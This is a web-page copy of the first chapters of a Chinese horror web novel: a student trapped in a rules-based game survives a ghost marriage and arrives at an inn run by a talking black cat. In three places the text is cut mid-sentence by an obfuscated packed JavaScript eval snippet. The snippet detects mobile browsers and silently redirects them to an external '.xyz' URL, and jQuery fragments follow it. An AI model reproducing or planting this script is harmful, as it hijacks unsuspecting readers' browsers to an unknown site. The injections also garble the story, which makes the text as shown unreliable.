《穿进古代规则怪谈成救世主》 1. 血色嫁衣（一） 辰国都城，观星台上，满头鹤发的老者坐在蒲团上遥望夜空，掐指算着什么，神色颇为凝重。 一位身着玄色广袖锦袍、头戴金冠的男子走上前，作了一揖：“先生，结果如何？我此行能否寻得破解之法？” “殿下此去…”老者缓缓开口，语气沉重，“凶多吉少。” 男子沉默片刻，抬首望向夜空，满天星辰映在他的眼中：“…两年前，天降灾异于辰国，妖邪遍地。父皇曾下旨招揽天下方士，寻找解除灾祸之法。” “然至今未得其法，黎民百姓仍在受苦…所以纵使希望渺茫，我也要一试。” ……… ……… “小姐，时辰不早了。” 丫鬟端着红底绣金的嫁衣进来时，韩舟正伏在案前翻阅面前的一本簿册。 “小姐…” “知道了。”韩舟合上簿册，打量了下丫鬟。 “小姐快把嫁衣穿上吧。”丫鬟面色苍白，表情木然，嘴唇鲜红如血。 韩舟凝视了她半晌，开口：“如果我不想成亲呢？” “小姐为何这么说？”丫鬟虽在相劝，语气中却不带半点情绪，好似一具冷冰冰的傀儡，“虽然小姐与那李太守家公子素未谋面，但李公子乃青年才俊，在城中颇负盛名，与小姐乃是郎才女貌天作之合。” “可我真的不想成亲。”韩舟加重了语气，“你把嫁衣拿回去吧。” 丫鬟突然咧开了嘴，露出一个阴森森的笑容。 “小姐，快把嫁衣穿上吧。” “小姐，快把嫁衣穿上吧。” “小姐，快把嫁衣穿上吧。” 丫鬟不断重复着这句话，她嘴角扬起的弧度越来越大，逐渐咧到了耳根。 …… 韩舟觉得有些精神污染。 “好了好了，我知道了。”韩舟微微颔首，“我穿。” 丫鬟收敛了笑容，嘴角回到了平缓的弧度，一双眼睛直勾勾地盯着韩舟，舔了舔嘴唇。 韩舟假装没看见，起身在丫鬟的帮助下穿上嫁衣，挽起乌发，戴上首饰，铜镜映出她姣好的面容，在凤冠霞帔衬托下更加美艳。 不过这并不是她的脸，她也不是什么即将出嫁的闺阁小姐。 韩舟是个大一学生，在某个早晨，她眼睛一睁，发现自己不是躺在宿舍的床上，而是身处一个古色古香的房间。 “我这是…穿越了？”韩舟震惊了。 她环视四周，觉得这应该是间女子的闺房，雕花檀木床榻上纱幔轻垂，香炉中里烟雾缭绕，菱花铜镜前的案上摆满了胭脂水粉、珠翠首饰，还有一本簿册。 她拿起簿册翻阅了下，前几页都是些誊抄的诗词，最后一页上写着： 《血色嫁衣》怪谈玩家须知： 一、今天是你的大喜之日，请准时上花轿。 二、在穿上嫁衣前，不要离开这间屋子。 三、不要弄脏嫁衣，如粘上血要立刻擦掉。 四、做符合设定的事，不要让别人发现你的异常。 五、时刻记住自己是人类。 …这熟悉的配方… 她脑海里适时响起了快把耳朵听出老茧的机械音： “欢迎玩家韩舟重回规则怪谈游戏《降神》，此次你将经历各种古代背景的怪谈。” 一个月前，韩舟偶然下载了一款叫做《降神》的游戏app，随后就被拉入诡谲的怪谈世界。 她耗死无数脑细胞，终于通关游戏回到现实世界，可才过了几天安生日子，这就又被系统拉了回来。 “…你说话不算话啊，我之前游戏都通关了，怎么又把我弄回来了？”韩舟气势汹汹地质问。 “就是因为你之前表现突出，所以游戏特为你解锁了新地图，通关以后你将获得更加丰厚的奖励…” “不要脸…”韩舟还记得上次游戏通关后的奖励是现实世界中身体强化，结果她回去后，拧个瓶盖都能把瓶子捏炸了，“奖励就算了…” “这次的奖励不一样哦，你可以期待一下。” …韩舟并不期待。 “本关是新手关，难度为d级，对你来说小菜一碟～由于你是上一周目游戏的通关玩家，所以你的精神值比普通人要高，不会轻易受到怪谈污染…另外我还贴心地为你准备了一个惊喜福利～请自行探索哦。”系统无视了她的言语攻击，迅速说完就下线了。 韩舟无语地翻了个白眼，不过既然来了，那就陪这个游戏玩玩呗，她一周目都通关了，二周目还会怕吗。 她向房间里的铜镜望去，镜子里映出一位姿容秀丽的女子，大约十六七岁，面色有些苍白。 她检查了下自己的身体，只觉得这具身子纤细孱弱，站一会儿都会气喘吁吁。手臂上有很多伤痕，像是用什么尖锐的东西划破的。 接着她翻箱倒柜，摸遍全房间，终于在枕头下发现了一把精巧的匕首和一封信… 韩舟轻抚了下匕首，脑海里蓦地响起系统的提示音： “这是一把神秘的匕首，作用暂未知。” … 不知怎的，韩舟觉得这匕首有种熟悉感，她拔出匕首，在地面划了一下，出现了一道很深的划痕。以她的经验，武器一类的道具起码c级以上，便把它收进系统的道具栏。 至于那封信，韩舟把信笺展开。 这是一封…情书？字里行间情意缠绵，落款写着张生。“我还崔莺莺呢…”韩舟吐槽游戏取名真是随意。 等搜索完房间，她将房门一推，说是不能出门，那开门看看总没问题吧。 门外是广阔的庭院，雕甍绣槛，花木葱茏，仔细听还有鸟鸣声和潺潺流水声。门前不远处有几座假山耸立，假山后是抄手游廊，不时有丫鬟小厮从游廊上经过。 韩舟看了一会儿，琢磨出不对劲了，就比如那个端着茶盏的丫鬟，短短半刻功夫，她已经经过这里三次了，且每次都会有个垂头看地的动作。 门外的景象就好像一部反复播放的短片。 … 韩舟准备关上门，在她把门合上的一瞬，看到游廊上站着一个穿着嫁衣的女子，嫁衣在阳光下如刚流出的血一般鲜红。 她敢肯定，刚才那里明明没有这个人。 韩舟眨了下眼睛，发现女子从游廊上消失了，出现在假山前。 再眨了下眼，女子离得更近了，看这个距离下一次就能出现在门口。 “砰”韩舟毫不犹豫地把门关紧了。 … 看来这“大喜之日”只有惊吓没有喜啊。 韩舟回到案前继续翻阅起那本簿册，沉思之间，丫鬟已经端着嫁衣进了屋。 “小姐，时辰不早了。” 韩舟心里有了个主意。 她要大胆试探下：“如果我不想成亲呢？” 看到丫鬟的反应，她明白，自己赌对了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14365254|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 npc虽因此生气，却没有动手，只是不断催促她，这证明她没有违反规则，说自己不想成婚是“符合人设”的。 而npc接下来诡异的行为也提醒她，如果误了上花轿的时间，那就是真的违反规则了，她会受到攻击。 外面传来一阵敲锣打鼓和唢呐声。韩舟盖上盖头，在丫鬟的搀扶下一路行至花轿前。由于盖头遮挡了视线，她只能看到脚下的青石板路，以及轿夫花花绿绿的鞋子。 进入花轿后，她飞快扯掉盖头，开始了在花轿里的搜寻，作为资深怪谈游戏玩家，不放过任何一点线索是好习惯。 果然，她在坐垫底下找到了一张纸条。 纸条上写着： “一、不论听到任何声音，都不要往轿外看。 二、不论发生任何事，都不要离开花轿。” … 这送亲之路注定不平坦。 韩舟稳稳坐在花轿中，开始闭目养神，盘一盘得到的线索。 给“她”写情书的是张生，而“她”要嫁的是李太守家公子，“她”将信藏在枕头下，显然很珍惜这封信，女方心有所属，对这桩婚事自然心不甘情不愿。 那么男方呢？目前的信息很少，只知道是权贵家的公子…还有另一个穿着嫁衣的女子又是什么人？ 这轿夫抬轿抬得出乎意料的稳当，韩舟不一会儿就有些昏昏欲睡，就在她快要进入梦乡之时，轿子突然停了下来。 外面先是一片死寂，过一会儿传来一阵“咯咯咯”的笑声，在寂静中显得十分刺耳。 “小点声，吵到我睡觉了。”韩舟调整了下姿势，继续酝酿睡意。规则说了不能看向轿外，那就不看呗。 外面的笑声停顿了下，随后变得更响了。 … 韩舟心说这觉是没法睡了，直起身揉了揉眼睛。轿帘猛然被掀开，一股寒气涌了进来，韩舟抬首望去，与一个穿着嫁衣的女子四目相对。 这就是之前在游廊上看到的女子，更确切的说，应该是个女鬼。她一张脸惨白无血色，双目眼中布满血丝，嘴唇猩红。令韩舟意外的是，这女鬼的长相竟和韩舟目前的身体有三分相似。 “你是谁？”韩舟开口问道，只觉寒气让身上的毛孔都收缩在了一起。 女子没有说话，两行鲜血从她的眼里流了下来。她蓦地伸手向韩舟抓来。 韩舟下意识抬手去挡，感到一双冰凉的手抓住了自己的手腕。寒气侵入皮肉，顺着手腕扩展到四肢百骸，冻得韩舟连牙齿都开始打颤。 这女鬼不讲武德啊。规则中说了，不可离开花轿，她这不是没离开吗，怎么还能跟她动手？ 依据韩舟以往的游戏经验，规则不会有假，游戏虽然有些规则故意说的不清不楚坑人，但绝不会用假规则蒙骗玩家。 想到这，韩舟没有动，只是努力地转动大脑，保持意识清醒，没过几秒，女鬼就松开了手，从轿中消失了。 韩舟吐出一口浊气，揉搓着自己的手腕，“幸好这游戏还有点良心，没有拿假规则骗人。” 这女鬼并不能真的对她动手，她怀疑女鬼刚才的行为只是在吓唬她，给她造成心理压力，一旦她惊慌失措跑出花轿，女鬼就会真的杀死她。 韩舟看着自己的手腕，上面有一个带血的手印，随后她想起了什么，看向了自己的衣袖。糟了，刚才女鬼伸手抓自己的时候，流下来的血滴在了自己的袖子上！ 2. 血色嫁衣（二） 韩舟心中警铃大作，从袖中拿出手帕去擦血渍。可怎么擦也擦不掉。血渍在鲜红的嫁衣上晕染开，竟有些分不清是血还是嫁衣本身的颜色了。 嫁衣是红色的，血沾到上面不仔细看也发现不了，要么就这么糊弄过去？这个念头才刚刚浮起，就被韩舟自己否决了。怪谈可不是这么好糊弄的。 她沉思片刻，从系统里唤出了之前拿到的匕首，把沾血的那块袖子割了下来。 不可以弄脏，但没说不可以弄坏啊。 “赵小姐，你没事吧？”轿帘又被掀开，这次传来了轿夫粗重的声音。 “我没…”韩舟飞快把割下来的布塞到坐垫底下，抬起头愣住了，因为她发现，轿夫竟然是个白色的纸人。 她从小就听老人说，纸人是不能点睛的，而面前的这个纸人恰恰点了眼睛。 纸人此刻正把头伸进轿里，用豆大的红色眼珠注视着她，苍白的脸颊两边各有一抹胭脂，表情似笑似哭。韩舟觉得它身上隐隐有香烛的味道 三更半夜，纸人抬轿，这是常在恐怖小说中出现的场景…但韩舟什么没见过？毕竟都有半夜在太平间跟怪物玩躲猫猫的经历…她努力控制住表情，装作一脸无辜，状似无意道：“我没事，刚才发生了什么？” 纸人豆子大的眼珠在眼眶里转了转：“刚刚有人拦轿，不过小的已经把她打发走了”顿了顿纸人又说道：“赵小姐放心，李公子只会娶小姐一人，旁的都是自取其辱。” …这段话信息量很大啊…不过她面上却是波澜不惊，点了点头，“那继续出发吧。” 所以刚才那个女鬼是被李公子负了来报仇的吗？长得跟“赵小姐”还有点相似，该不会还是什么狗血的替身剧情吧… 花轿又被抬起，随着时间流逝，韩舟感到花轿移动的速度越来越快，到最后竟像是飘在空中前行。 “呕…”韩舟感觉有点晕轿了… “赵小姐，到了。”“轿夫”声音打断了韩舟的干呕，轿子猛地停了下来，稳稳落在地面。 韩舟深深吸了一口气，盖上盖头，缓慢挪动走下轿子，脚刚一落地，就感到一只冰凉的手缠上了自己的手指。 刚才那个女鬼又回来了？韩舟下意识想要缩回手。 “清辞，是我。”一个暗哑的男声响起，“你的夫君。” 原来是新郎官，韩舟没再动作，老老实实任他牵住了手。这个新郎的手冰寒刺骨，好像从雪水里浸过似的，这走了几步路，就冻得韩舟直达哆嗦。 韩舟忍住寒意，低下头从盖头空隙处打量新郎，虽然只能看到他的腿，只见他走路轻飘飘的，仔细看去，他是用脚尖点地。 “清辞，你的嫁衣为什么破了？”新郎的声音骤然响起，带着几分阴冷。 韩舟心中一凛，之前她用匕首割去了带血的衣袖，这也算违背规则了吗？ “为什么不回答？”新郎握着她的手加大了力道，疼痛裹挟着刺骨寒意让韩舟几欲叫出声。 “我…太紧张了。”韩舟斟酌着措辞，“嫁衣是刚才路上不小心弄破的…抱歉。” 周围的空气仿佛凝固了，陷入一段长时间的寂静。 不知道过了多久，新郎终于开口说话了。 “弄坏了还好，要是粘上什么脏东西…”他没再说下去，只是冷哼一声，握紧她的手继续往前走。 韩舟松了口气，看来嫁衣破了虽然引起他的注意，却不算违反规则，但粘上血就不好说了。 “吉时已到！”宾相高喊，锣鼓喧天，周围满是宾客谈笑之声。听着这番热闹，韩舟心里默默感叹她还是头一遭在怪谈里跟人成亲。 “清辞，你终于要嫁给我了。”新郎的声音竟带着几分颤抖，“这回不会再让你逃了…” “一拜天地！”韩舟随着喊声微微弯腰。 “快逃。”一个微凉的女声钻入了她的耳朵，韩舟不禁止住了动作。 “怎么了？清辞？”对面的新郎问道。 “没什么…”韩舟竖耳等了片刻，只能听到宾客喧闹之声，以为自己幻听了，便继续拜堂。 “夫妻对拜！”韩舟在傧相的喊声中刚弯下腰，一阵冷风忽然从后面吹来，吹得她脖颈后的汗毛都竖了起来，呼啦一下她头上的盖头被吹飞了。 盖头飘落在地，映入眼帘的景象让韩舟全身血液都冻结了，外面漆黑一片，不见月色，也不见星光，浓稠的夜色像泥沼一样包裹住整个屋子。 屋檐上挂着白绫，屋内宾客满座，但细看去是一个个花花绿绿的纸人。堂上放满了燃烧的香烛和各种各样的供品，正中立着一快牌位，上面写着“李隗之位”。 更惊悚的是四周墙壁上用血写满了大字，韩舟扫了一眼，发现来来去去都是三个字： “不要逃。” 不要逃…这是最后一条规则吗？可是刚刚似乎有“人”在她耳边说快逃… 该听哪个？韩舟正迟疑着，眼前猝然一黑，意识像跌入了一片湖泊，不断下沉…最后浸入幽深的湖底… 不知过了多久，她眼前出现了一丝亮光，眼前的景象清晰起来，发现自己又回到了花轿上，双手被粗麻绳紧紧束缚着，手臂伤痕累累。她想挣扎，身体却不受自己控制，想张口，却发不出声音… 轿帘猛然掀开，强光涌入，她被一只手臂粗鲁地拽了出去，她跌跌撞撞下了花轿，眼前却不是之前那个纸人轿夫，而是一群活生生的人，他们满脸轻慢，其中一人冷笑道：“一个丫鬟而已，嫁给李公子是你的福气！” 随后她被推搡着进了屋，跪倒在堂前，堂上依旧摆着那个“李隗之位”。 一阵阴风吹进堂中，韩舟感觉自己的头发被一股力道扯住向后拉，生生被迫抬起头，一片阴影压在她的头上，她睁大眼望去，只见对方身着死人才穿的寿衣，眼下乌黑，面色发青，赫然是一只厉鬼！ 厉鬼微微俯下身，看她的眼神阴冷，如同看一只任人宰割的羔羊，凝视她片刻后，伸出手死死地掐住了她的脖子… 怨恨、痛苦齐齐涌上她的心头，为什么，为什么偏偏是我？赵小姐她为什么要逃婚？ 如果她没有逃，我就不会… 不对…我现在扮演的就是赵家小姐…韩舟咬破了舌尖，一股血腥味在唇齿间弥漫开… 她剧烈咳嗽了几下，眼前又暗了下来，片刻功夫后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14365255|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被烛火照亮，自己依旧身处喜堂，能看到燃烧着的香烛，阴森森的牌位，只是她是站着的，手也没有被束缚。 刚才那是…别人的记忆？ 面前的新郎官正是之前掐住她脖子的厉鬼，他阴沉沉看着她，森然开口：“你是不是又想逃婚？” “没有啊。”韩舟努力保持镇定，眨了眨眼睛，扮出一副楚楚可怜相，“我的盖头是被风吹掉了，我…”还没说完，就被李隗冰冷的手指捏住了下巴。 “满口谎言！”李隗怒吼了起来，整张脸在幽幽烛火照耀下显得阴森可怖，“上次你在大婚之前与那张生私奔，弃我于不顾，你爹娘还找来一个赝品愚弄我！” 赝品？韩舟捕捉到了这个词，感觉下巴一阵刺痛，快被李隗捏出了血印。 “那个赝品算什么东西，一个低贱的丫鬟…”李隗一字一句满是不屑，“不过长相和你有几分相似，也配嫁给我？我李家是随便什么人都能进的吗。” 长得相似？穿着血红嫁衣的女鬼在韩舟脑海里闪过，忍住疼痛勉力开口问道：“那个丫鬟…她最后怎么样了？” “当然是大婚当日就被我杀了，怎么能让她辱了李家门楣？”李隗恨恨说道。 “可惜她死后魂魄就藏了起来，不然我定让她魂飞魄散…”李隗死死盯着韩舟，双目逐渐染上赤红，眼里充斥着疯狂，“清辞，乖乖跟我成亲吧，不要再逃了，否则…你会跟她一个下场。” 韩舟恍然大悟，刚才她看到的记忆是那个女鬼的，女鬼本是赵家的丫鬟，赵家小姐和人私奔后，她便代替赵小姐跟这个李隗冥婚，最后落得一个惨死下场。 韩舟只觉一股火气涌上心头，什么混账东西干的混账事！简直禽兽不如！看着面前的厉鬼新郎，韩舟恶向胆边生。 既然规则不让逃，那就只能干架了。 韩舟唤出匕首，握在手中，在她的记忆中，游戏不会给无用的道具，就像这把匕首…想到这，她拿着匕首朝李隗身上刺了过去。 “区区一把匕首也想伤我？”李隗冷笑几声，捏着韩舟下巴的手松开了转而掐住她的喉咙，“清辞，如果你也不想活，我可以成全你…” 可等韩舟将匕首扎进他的胸口时，他的笑容消失了，发出一声惨叫。 原本坐着看戏的纸人见状全部站了起来，似是被眼前这一幕震惊！ 韩舟将匕首拔出，李隗身上被扎出的伤口灼烧了起来，她没有半刻停顿，用尽全身力气按住了李隗的肩膀，将匕首一下又一下地扎进他的胸口… 这匕首似乎对李隗有克制作用，李隗变得虚弱无比，竟挣脱不了韩舟的钳制。纸人全部涌了过来，有的抱住了韩舟的身体，有的抓住韩舟的手臂，有的拽住韩舟的头发，想把韩舟从李隗身边扯开。 韩舟感到身上撕裂般地疼，她有些无奈地想，要是自己原来的身体就好了，经过游戏的强化，能一拳打爆一个。可赵清辞这副身体实在太娇弱了…她渐渐被纸人淹没，无力反抗，就连呼吸都开始困难… 就在此刻，缠住韩舟的纸人忽然四散开来，女鬼的红色身影出现在韩舟面前，张开双臂帮她拦住想靠近的纸人，高声道：“快！” 3. 血色嫁衣（完） 韩舟强撑着一口气，直起身子爬到李隗身旁，将匕首扎进了他的喉咙，然后迅速退开。李隗嚎叫一声，紧接着整个身体被包裹进火焰中，大火熊熊燃烧，过了一会儿李隗的身体化作一缕青烟散去… “呼…”韩舟瘫坐在地上，抬头看向女鬼，觉得她也不是那么恐怖了。 女鬼脸上渐渐浮现了血色，变回了生前的模样，是一个温婉秀丽的少女。她朝韩舟露出一个和煦的笑容，随后化成光点消失了。 “恭喜玩家韩舟，通关怪谈《血色嫁衣》。” 韩舟眼前的景象逐渐模糊，再睁眼时已身处一个满目荒芜的庭院中，感觉到身体的精力在慢慢恢复，手中的匕首变成了一块橙红色的板砖。 “原来是你！我的老伙伴。”这个板砖正是韩舟以前通关获得的奖励，一个a级道具，对鬼怪有强大的杀伤力，韩舟通关回到现实后，所有的道具都被系统回收了，没想到在这个新手关又回到韩舟的手里。 韩舟走到池水边照了照，发现已变回自己原来的脸。 “玩家是否要阅读《血色嫁衣》的背景介绍？” 韩舟选了“是”。 这个故事不算复杂。韩舟扮演的主人公赵清辞是赵员外的小女儿，也是城中出了名的绝色美人和才女。 而怪谈源头李隗是李太守家独子，从小享受众星捧月的待遇，被惯地目中无人、横行霸道，只要他想要的，就没有得不到的。 李隗只远远见过赵清辞一面，就深深迷恋上她，求着父亲向赵家提亲，李太守自然应允。 但赵清辞早就心有所属，被父母强行定下亲事后，便想法子和情郎张生私奔了，赵员外不敢告诉李家，一直派人暗中寻找，不知道是不是老天开眼，李隗在临近成亲那几天突发恶疾去世。 赵家本以为婚事会就此作罢，谁知李家竟提出冥婚，赵家也觉得此事荒唐，无奈李家权势压人，各种威逼利诱，最终赵家只好妥协。因找不到赵清辞本人，便买来跟清辞有三分相似的丫鬟璎珞作为替嫁。 谁知这李隗死了也不安生，化作了厉鬼，大婚当日得知跟他冥婚的不是赵清辞本人，只是个丫鬟，便狂性大发，不但杀了丫鬟，还将此地化为怪谈，一心想把赵清辞抓回来成亲。 “其实这个游戏很简单，评级只有d级，只要严格遵守规则，拜堂结束即为通关。那个男鬼发怒的时候，只要好言安抚几句，也就能混过去了。”系统感叹道，“可是你居然选择了另一条更困难更暴力的通关方式…” “别假装惊讶了…那个匕首难道不是你们故意留给我的吗。”韩舟毫不留情戳穿，“把我以前获得的a级道具又还给我，你们还挺大方的。” 系统“嘿嘿”笑了两声：“这就是我为你准备的惊喜福利啊～而且老用传统方式通关挺无聊的，我们也乐见玩家挑战新方式。” …这系统油嘴滑舌的。 韩舟想，替嫁丫鬟璎珞死了以后化成鬼徘徊不去，是想复仇呢，还是想拯救被李隗强迫的“赵清辞”？ 回想起她之前的种种行为，也许都有吧… 之前在轿中，女鬼是真的想杀死“赵清辞”，可后来在喜堂上，也是真的想救她… 真正的赵清辞又去了哪里呢，也许跟张生幸福地生活在一起，也许另有结局。 不过这都不在韩舟关心的范围内了，她也没有过多悲伤，这毕竟只是游戏创造出的虚拟世界，怪谈故事里的悲欢离合都与她无关，对她来说最重要的是早日通关回家。 “现在开始结算奖励… 通关奖励：游戏币1000枚，可购买道具，也可兑换现实使用的货币； 惊喜福利：道具板砖一块，对鬼物有意想不到的杀伤力。” “玩家接下来可以选择：1、进入下一个怪谈；2、前往休息站休息三天，三天过后再进入下一个怪谈。” “我选2。”其实韩舟回到自己力大如牛的身体里后，倒还有些余力挑战下一个怪谈的，但韩舟挺好奇在这个古代背景下的休息站是什么样。 在怪谈游戏很容易分不清时间，刚刚“拜堂”时是深夜，刚出怪谈时天光大亮，这会儿又临近黄昏，天边红日慢慢西沉，暮色将整个山林笼罩。 林间弥漫着湿润泥土的气息，古木拔地而起，枝繁叶茂。韩舟漫步在一片树海中，只觉得神清气爽。 古代空气就是好啊，这要不是怪谈的地盘，韩舟还挺想来度假的。 不过在韩舟眼里，怪谈游戏的休息站和度假村也差不多了。就比如她上一次游戏中的休息站是一艘豪华游轮，上面不但设施齐全，还能欣赏海景。 在休息站，无论是吃饭睡觉还是使用游乐设施，都要消耗游戏币。玩家为了能在休息站好好享受，就会更加努力通关，通的关越多，赚的游戏币也就越多。 树木掩映间，一间碧瓦朱檐的客栈默默伫立，朱红色大门半开着，像是在等待客官到来，韩舟推门走了进去。 大堂里灯火通明，却空无一人，几张桌子和椅子摆放的十分整齐，地上一尘不染，空气却里有股淡淡的酒香，整个客栈安静地像处在真空地带。 韩舟差点以为自己来错地方了，奇怪了，其他玩家都不在吗？自己明明按照系统给的指引走到这的。韩舟想找系统问个明白，可这货却一直掉线。 “小二在吗…”韩舟学着古装剧里的样子喊了几嗓子。客栈里无人回答。 要不自己上去随便找个房间住算了，韩舟一向是既来之则安之。 她一脚刚踏上通往二楼的木阶，大堂的柜台方向传来了响声，她寻声望去，是一只猫跳上了柜台。此猫毛色乌黑如墨，四爪和尾巴却又白如雪，一双圆圆的眼睛如同两颗碧绿的翡翠石。 黑猫在柜上趴了下来，舔了舔爪子，随后转向韩舟，发出了雌雄莫辨的人类声音：“客官打尖还是住店啊？” …虽然韩舟经历的诡异事够多了，还是被无语到了，明明之前的休息站的接待npc还是人类模样！ “打尖，住店，我都要。”韩舟面无表情道。 “好嘞。”黑猫摇了摇毛茸茸的尾巴，“打尖您是要选择普通饭食还是豪华晚宴？住店是普通客房还是上等客房？” “…”韩舟被逗笑了，“小猫咪，你是这里的掌柜吗？” “没错。”黑猫的尾巴又摇了摇，“你可以叫我黑猫掌柜。” …还怪可爱的，韩舟都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14365256|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想上手摸摸毛了。 “黑猫…掌柜的，其他玩家呢？你知道他们在哪吗？” “玩家？”黑猫掌柜又摇了摇尾巴，“你是说你这样的？” 好奇怪的问题，这黑猫掌柜不知道玩家是什么样吗？但韩舟还是点了点头。 “那…这个世界就只有你一个玩家。”黑猫掌柜慢条斯理地说出了一句震惊韩舟的话。 … “只有我一个？”韩舟懵了，在上一次游戏她虽也经历过不少单人怪谈，但大多数是多人参与的，她也经常和人组队，“你是说，整个游戏只有我一个玩家参与吗？” “游戏？”黑猫眯起了眼睛，“如果你把这个世界当成游戏的话…那的确是的。” …韩舟惊讶地说不出话来，她玩《降神》游戏这么久还是第一次遇到这种情况…等系统上线了一定要揪住它问问。 “那么客官…普通饭食还是豪华晚宴？普通客房还是上等客房？”黑猫把柜台上的算盘扒拉到身边。 “唔…那就普通饭食和普通客房吧…”才过了一个新手关，奖励的游戏币不多，韩舟想还是省着点用。 “好的客官，普通饭食300文铜钱一顿，普通客房500文铜钱一晚。”黑猫掌柜雪白的爪子飞快拨弄着算盘。 这里居然是用现实货币…韩舟用500游戏币兑换了5000文铜钱，交了三个晚上的住宿费和二天加一晚的伙食费，韩舟想，这物价还挺贵的，一下就用掉一大半，该不会是个黑店吧… “对了，客官，在这里需遵守一些规则。”黑猫从柜台下抽出一本簿册扔给了韩舟。 韩舟翻开簿册一看，连手都在颤抖。 “黑猫客栈住店客官须知： 一、爱护粮食是好习惯，黑猫掌柜精心为客官准备的食物一定要吃玩完哦。 二、普通客房在二楼，上等客房在三楼，可在对应楼层自行挑选房间，千万不要跑错楼层哦。如要升级客房，请找黑猫掌柜。 三、客栈大堂可以随意走动，但不要破坏公共设施哦。 四、晚上睡觉如听到什么声音，请当这是幻觉，不要理会。 五、子时以后不要出客栈门，如遇危险尽快向黑猫掌柜寻求帮助。 怎么连休息站都要遵守规则！韩舟有点抓狂，“如果违反规则会怎么样？” “不怎么样。”黑猫打了个哈欠，似是有些困倦，“不会死，会有一些小小的惩罚，具体你违反一下就知道了。” …韩舟觉得自己这次游戏通关后要用一生去治愈…不过好在这客栈的规则都不复杂，也易遵守。 韩舟揣着簿册上了二楼，狭长的走廊点着油灯，靠右侧是一扇扇雕花门，因为无人甚是幽静。 韩舟随便选了一扇门推开，看到房内陈设眼前一亮，这间房规格竟和赵小姐的闺房不相上下了，房内有股好闻的花香味，床褥柔软，垂着软烟罗纱帐，案上茗碗瓶俱备。 韩舟脱掉外衣在床上打了个滚，真舒服啊！好想赶快睡上一觉。 门外敲门声响起，是黑猫掌柜，“客官，你的饭食～”韩舟打开了门，看到小小黑猫头顶一个食盒，压的耳朵都弯了，韩舟急忙接过食盒。 4. 黑猫客栈 “黑猫掌柜，这个客栈就你一个吗，没有跑堂什么的？怎么还劳烦你亲自送饭。”韩舟看着可爱的小猫，心里软乎乎的。 “这客栈生意这么差，我一个就够了，多出来的还要多付工钱。”黑猫甩了甩压弯的耳朵说道。 “…那多谢了。”韩舟打开食盒，发现还挺丰盛的，有饭有菜有肉还有水果，韩舟看到其中有一条小黄鱼，便把它拿了起来递给黑猫，“这个你吃吗？” 黑猫掌柜似是有点意外，看了看韩舟手中的小黄鱼，“你确定要给我吗？”韩舟点了点头，它便就着韩舟的手把小黄鱼吃了。 “唔…即使你用鱼讨好我，我也不会给你价格优惠的哦。”黑猫掌柜心满意足地吃完鱼，又开始舔爪子。 “我知道。”无非是看到小猫可爱想投喂罢了，韩舟盯着黑猫油光发亮的皮毛，咽了口口水，好想摸啊！ 不过她还是按捺住内心摸猫的冲动，一只会说话的猫，一只当了客栈掌柜的猫，随便摸毛，万一它生气了，谁知道会变成什么可怕怪物。 黑猫掌柜走后，她坐在案边开始吃饭，边吃边逛起了商城。她还有500游戏币，不能再浪费了。 她买了一些疗伤的药，对鬼物伤害也有治愈效果的那种。虽说在怪谈里受的伤只要出了怪谈就能痊愈，但若是在怪谈里就因为伤重不治死了，那可就亏大发了。 紧接着她开始召唤掉线很久的系统。 “系统，别装死了，快起来回答我问题。” “我在，尊贵的玩家，有什么我可以帮到你的吗？”系统终于姗姗来迟。 “这个客栈的掌柜说，这个游戏只有我一个玩家，这是真的吗？”韩舟迫不及待发问。 系统陷入了沉默，就在韩舟耐心快要耗尽的时候，终于开口回答：“是的。” “…怎么这样，你是逮着我一个薅羊毛啊？”韩舟忿忿不平道。 “这个游戏的确只有你一个外来玩家，但也有很多原来就住在这的npc” “什么意思？npc不都是怪谈的一部分吗？他们只负责交代背景，协助玩家完成剧情，有的甚至本身就是怪物。” “…你不用考虑太多，只要将游戏通关，你就可以回到你原来的世界。”系统语气淡淡的。 也是，就算只有她一个玩家，她只要把所有游戏打通关了就行。只要通关所有怪谈，她就能回家了。 就是…有点孤独… 没有队友陪伴还挺难受的。 系统自顾自下线了，韩舟也没有去管它，躺在床上合眼睡去。 等韩舟醒来的时候，窗外已经黑了。韩舟披上外衣起来给自己倒了一杯茶。冰冷的茶水灌入肚子，她头脑清醒了几分。 楼下传来一阵叮铃哐当的声音，韩舟一开始念着客栈规则没有理会，可声响持续不断，搅得韩舟心烦意乱，于是从桌上取了烛台，推开房门准备下楼看看。 韩舟一起扶着栏杆，一手托着烛台，顺着木阶缓缓而下，这木阶似乎有些年头了，脚踩在上面发出“吱呀吱呀”的声音，大堂里没有点灯，浸在一片墨色中，唯有韩舟手里一抹烛火摇曳着。 